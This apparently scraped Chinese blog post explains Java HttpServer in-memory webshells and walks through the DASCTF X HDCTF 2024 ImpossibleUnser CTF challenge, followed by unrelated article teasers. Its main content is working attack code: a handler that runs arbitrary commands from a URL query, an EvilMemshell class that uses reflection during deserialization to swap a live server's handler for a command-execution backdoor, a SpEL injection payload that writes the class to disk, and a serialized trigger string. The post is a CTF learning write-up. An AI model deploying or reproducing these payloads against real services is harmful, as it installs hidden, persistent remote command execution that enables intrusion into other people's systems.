HttpServer内存马

news/2024/7/7 12:45:49 标签: httpserver内存马

HttpServer内存马

基础知识

一些基础的方法和类

HttpServer:HttpServer主要是通过带参的create方法来创建,第一个参数InetSocketAddress表示绑定的ip地址和端口号。第二个参数为int类型,表示允许排队的最大TCP连接数,如果该值小于或等于零,则使用系统默认值。

createContext:可以调用多次,表示将指定的url路径绑定到指定的HttpHandler处理器对象上,服务器接收到的所有路径请求都将通过调用给定的处理程序对象来处理。

setExecutor:设置服务器的线程池对象,不设置或者设为null则表示使用start方法创建的线程。

代码例子

首先我们需要知道怎么使用httpserver构建一个HttpServer服务
其实不难,重点只有两部分,一个是server,一个是hander

其实举个例子就能够理解了

import com.sun.net.httpserver.HttpServer;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.util.concurrent.Executors;

public class HttpServerStarter {
    public static void main(String[] args) throws IOException {
        //创建一个HttpServer实例,并绑定到指定的IP地址和端口号
        HttpServer httpServer = HttpServer.create(new InetSocketAddress(8000), 0);

        //创建一个HttpContext,将路径为/myserver请求映射到MyHttpHandler处理器
        httpServer.createContext("/myserver", new MyHttpHandler());

        //设置服务器的线程池对象
        httpServer.setExecutor(Executors.newFixedThreadPool(10));

        //启动服务器
        httpServer.start();
    }
}

然后就是我们的handler



import com.sun.net.httpserver.Headers;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpExchange;

import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.List;

public class IndexHandler implements HttpHandler {
    @Override
    public void handle(HttpExchange exchange) throws IOException {
        OutputStream os = exchange.getResponseBody();
        List<String> files = listFilesInDirectory("F:\\IntelliJ IDEA 2023.3.2\\java脚本\\tomcat4\\web\\WEB-INF\\classes");
        StringBuilder response = new StringBuilder();

        for (String file : files) {
            response.append(file).append("\n");
        }

        byte[] responseData = response.toString().getBytes();
        int chunkSize = 1024; // 设置每个数据块的大小

        exchange.sendResponseHeaders(200, responseData.length);

        int offset = 0;
        while (offset < responseData.length) {
            int bytesToWrite = Math.min(chunkSize, responseData.length - offset);
            os.write(responseData, offset, bytesToWrite);
            offset += bytesToWrite;
        }

        os.close();
    }
    private List<String> listFilesInDirectory(String directoryPath) {
        File directory = new File(directoryPath);
        File[] files = directory.listFiles();

        if (files != null) {
            return Arrays.asList(directory.list());
        } else {
            return null;
        }
    }
}

在这里插入图片描述

利用

其实看了上面的例子,我们的利用就是使用server创建一个路由和对于的handler,然后控制恶意的handler,但是问题是怎么去获取我们的server

获取server

我们是根据线程去获取的
在这里插入图片描述当然不止这一种

Thread.currentThread().getThreadGroup().threads

这是获取所有的线程在这里插入图片描述
然后通过[0]去获取你需要的线程,然后就是

Thread.currentThread().getThreadGroup().threads.target.this$0

去获取到我们的context对象
然后你还可以去获取我们的handler
在这里插入图片描述
就是在server的contexts中,然后还是选list的其中一个,然后获取

这就是我们一道DASCTF X HDCTF 2024 ImpossibleUnser的解法

构造恶意的handler

当我们获取到了handler之后,我们就可以使用它的createContext方法了,给我们的路由构建一个恶意的handler

恶意的handler主要是重写它的handle方法

public void handle(HttpExchange httpExchange) throws IOException {
        String cmd = httpExchange.getRequestURI().getQuery().split("=")[1];

        InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();

        BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, StandardCharsets.UTF_8));

        String line;
        StringBuilder stringBuilder = new StringBuilder();

        while ((line = reader.readLine()) != null) {
            stringBuilder.append(line + "\n");
        }

        String response = stringBuilder.toString();

        httpExchange.sendResponseHeaders(200, response.length());
        OutputStream os = httpExchange.getResponseBody();
        os.write(response.getBytes());
        os.close();
    }

CTF题目

DASCTF X HDCTF 2024 ImpossibleUnser

官方wp
源码

package com.ctf;
import java.net.InetSocketAddress;
import com.sun.net.httpserver.HttpServer;
public class IndexController {
    public static void main(String[] args) throws Exception {
        HttpServer server = HttpServer.create(new InetSocketAddress(8000), 0);
        server.createContext("/ctf", new SPELHandler());
        server.createContext("/index", new IndexHandler());
        server.createContext("/unser", new UnserHandler());
        server.setExecutor(null);
        server.start();
    }
}
package com.ctf;

import com.sun.net.httpserver.Headers;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpExchange;

import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.List;

public class IndexHandler implements HttpHandler {
    @Override
    public void handle(HttpExchange exchange) throws IOException {
        OutputStream os = exchange.getResponseBody();
        List<String> files = listFilesInDirectory("/usr/lib/jvm/java-8-openjdk-amd64/jre");
        StringBuilder response = new StringBuilder();

        for (String file : files) {
            response.append(file).append("\n");
        }

        byte[] responseData = response.toString().getBytes();
        int chunkSize = 1024; // 设置每个数据块的大小

        exchange.sendResponseHeaders(200, responseData.length);

        int offset = 0;
        while (offset < responseData.length) {
            int bytesToWrite = Math.min(chunkSize, responseData.length - offset);
            os.write(responseData, offset, bytesToWrite);
            offset += bytesToWrite;
        }

        os.close();
    }
    private List<String> listFilesInDirectory(String directoryPath) {
        File directory = new File(directoryPath);
        File[] files = directory.listFiles();

        if (files != null) {
            return Arrays.asList(directory.list());
        } else {
            return null;
        }
    }
}

然后unser路由就是一个反序列化入口

然后还有一个spel表达式注入
方法三 使用内存马方式
这里就直接放payload了
这里wp的思路是修改ctf路由的handler,当然我们也可以添加

import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;

public class EvilMemshell implements Serializable, HttpHandler {
    private  void readObject(ObjectInputStream in) throws InterruptedException, IOException, ClassNotFoundException {
        try{
            ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
            Field threadsFeld = threadGroup.getClass().getDeclaredField("threads");
            threadsFeld.setAccessible(true);
            Thread[] threads = (Thread[])threadsFeld.get(threadGroup);
            Thread thread = threads[1];

            Field targetField = thread.getClass().getDeclaredField("target");
            targetField.setAccessible(true);
            Object object = targetField.get(thread);

            Field this$0Field = object.getClass().getDeclaredField("this$0");
            this$0Field.setAccessible(true);
            object = this$0Field.get(object);

            Field contextsField = object.getClass().getDeclaredField("contexts");
            contextsField.setAccessible(true);
            object = contextsField.get(object);

            Field listField = object.getClass().getDeclaredField("list");
            listField.setAccessible(true);
            java.util.LinkedList linkedList = (java.util.LinkedList)listField.get(object);
            object = linkedList.get(0);

            Field handlerField = object.getClass().getDeclaredField("handler");
            handlerField.setAccessible(true);
            handlerField.set(object,this);
        }catch(Exception exception){
        }
    }
    public static String base64serial(Object o) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }

    public static void main(String[] args) throws Exception {
        System.out.println(base64serial(new EvilMemshell()));
    }

    @Override
    public void handle(HttpExchange httpExchange) throws IOException {
        String query = httpExchange.getRequestURI().getQuery();
        String[] split = query.split("=");
        String response = "SUCCESS"+"\n";
        if (split[0].equals("shell")) {
            String cmd = split[1];
            InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
            byte[] bytes = new byte[1024];
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            int flag=-1;
            while((flag=inputStream.read(bytes))!=-1){
                byteArrayOutputStream.write(bytes,0,flag);
            }
            response += byteArrayOutputStream.toString();
            byteArrayOutputStream.close();
        }
        httpExchange.sendResponseHeaders(200,response.length());
        OutputStream outputStream = httpExchange.getResponseBody();
        outputStream.write(response.getBytes());
        outputStream.close();
    }
}

重写它的readobject方法,当反序列化它的时候就会处理readobejct的方法,获取到server,更改server的handler

当然我们需要配合spel先把这个恶意的文件写进去

payload=T(com.sun.org.apache.xml.internal.security.utils.JavaUtils).writeBytesToFilename("/usr/lib/jvm/java-8-openjdk-amd64/jre/classes/EvilMemshell.class",T(java.util.Base64).getDecoder.decode("恶意代码的base64编码"))

然后反序列化它

unser=rO0ABXNyAAxFdmlsTWVtc2hlbGwx3CJ1tyzvvgIAAHhw

之后就可以在ctf路由进行命令执行了
在这里插入图片描述


http://www.niftyadmin.cn/n/5537062.html

相关文章

软件测试面试题:怎么优化SQL的查询速度?

索引优化&#xff1a;确保查询中用到的字段上有合适的索引。索引可以显著加快数据检索速度&#xff0c;但也要注意不要过度索引&#xff0c;因为索引虽然可以加快查询速度&#xff0c;但会降低更新表的速度。 查询语句优化&#xff1a;避免使用SELECT *&#xff0c;尽量指定需…

【C语言】通过fgets和fscanf了解读写文件流的概念

在C语言中&#xff0c;fgets和fscanf都是用于从文件或输入流中读取数据的函数&#xff0c;但它们的工作方式和用途有所不同。 1.fgets&#xff08;Get File String&#xff09; 示例代码&#xff1a; char buffer[100]; fgets(buffer, sizeof(buffer), stdin); fgets 函数用于…

ubuntu 18 虚拟机安装(5) postgres sql 数据库 简单 应用

ubuntu 18 虚拟机安装&#xff08;5&#xff09; postgres sql 数据库 简单 应用 参考 PostgreSQL的基本使用整理 https://blog.csdn.net/qq_45658339/article/details/124431612 sudo su - postgres psqlsudo -u postgres psqlsudo systemctl status postgresql sudo syste…

k8s 常用的命令

k8s 常用的操作 查找资源 kubectl get&#xff1a; 获取所有的资源&#xff0c;包括node、namespace、pod 、service、deployment等&#xff0c;可以展示一个或者多个资源。 创建资源 kubectl create &#xff1a;Kubernetes 的清单文件可以用 json 或 yaml 定义。 更新资源 …

去中心化技术对云计算的潜在影响与应用

随着去中心化技术如区块链的发展&#xff0c;云计算领域也面临着新的变革与挑战。本文将深入探讨去中心化技术对云计算的潜在影响及其应用前景&#xff0c;从技术基础到实际案例&#xff0c;逐步揭示这一新兴领域的发展趋势与可能带来的革新。 1. 介绍&#xff1a;云计算的现状…

PHP景区旅游多商户版微信小程序系统源码

解锁景区新玩法&#xff01;​ 引言&#xff1a;一站式旅行新体验 厌倦了传统景区的单调游览&#xff1f;想要一次旅行就能体验多种风情&#xff1f;那么&#xff0c;“景区旅游多商户版”绝对是你的不二之选&#xff01;这个创新模式将景区内多个商户资源整合&#xff0c;为…

爬虫-豆瓣电影排行榜

获取数据 requests库 获取数据环节需要用到requests库。安装方式也简单 pip install requests 爬取页面豆瓣读书 Top 250 用requests库来访问 import requests res requests.get(https://book.douban.com/top250/) 解析&#xff1a; 导入requests库调用了requests库中的…

综合项目实战--jenkins流水线

一、流水线定义 软件生产环节,如:需求调研、需求设计、概要设计、详细设计、编码、单元测试、集成测试、系统测试、用户验收测试、交付等,这些流程就组成一条完整的流水线。脚本式流水线(pipeline)的出现代表企业人员可以更自由的通过代码来实现不同的工作流程。 二、pi…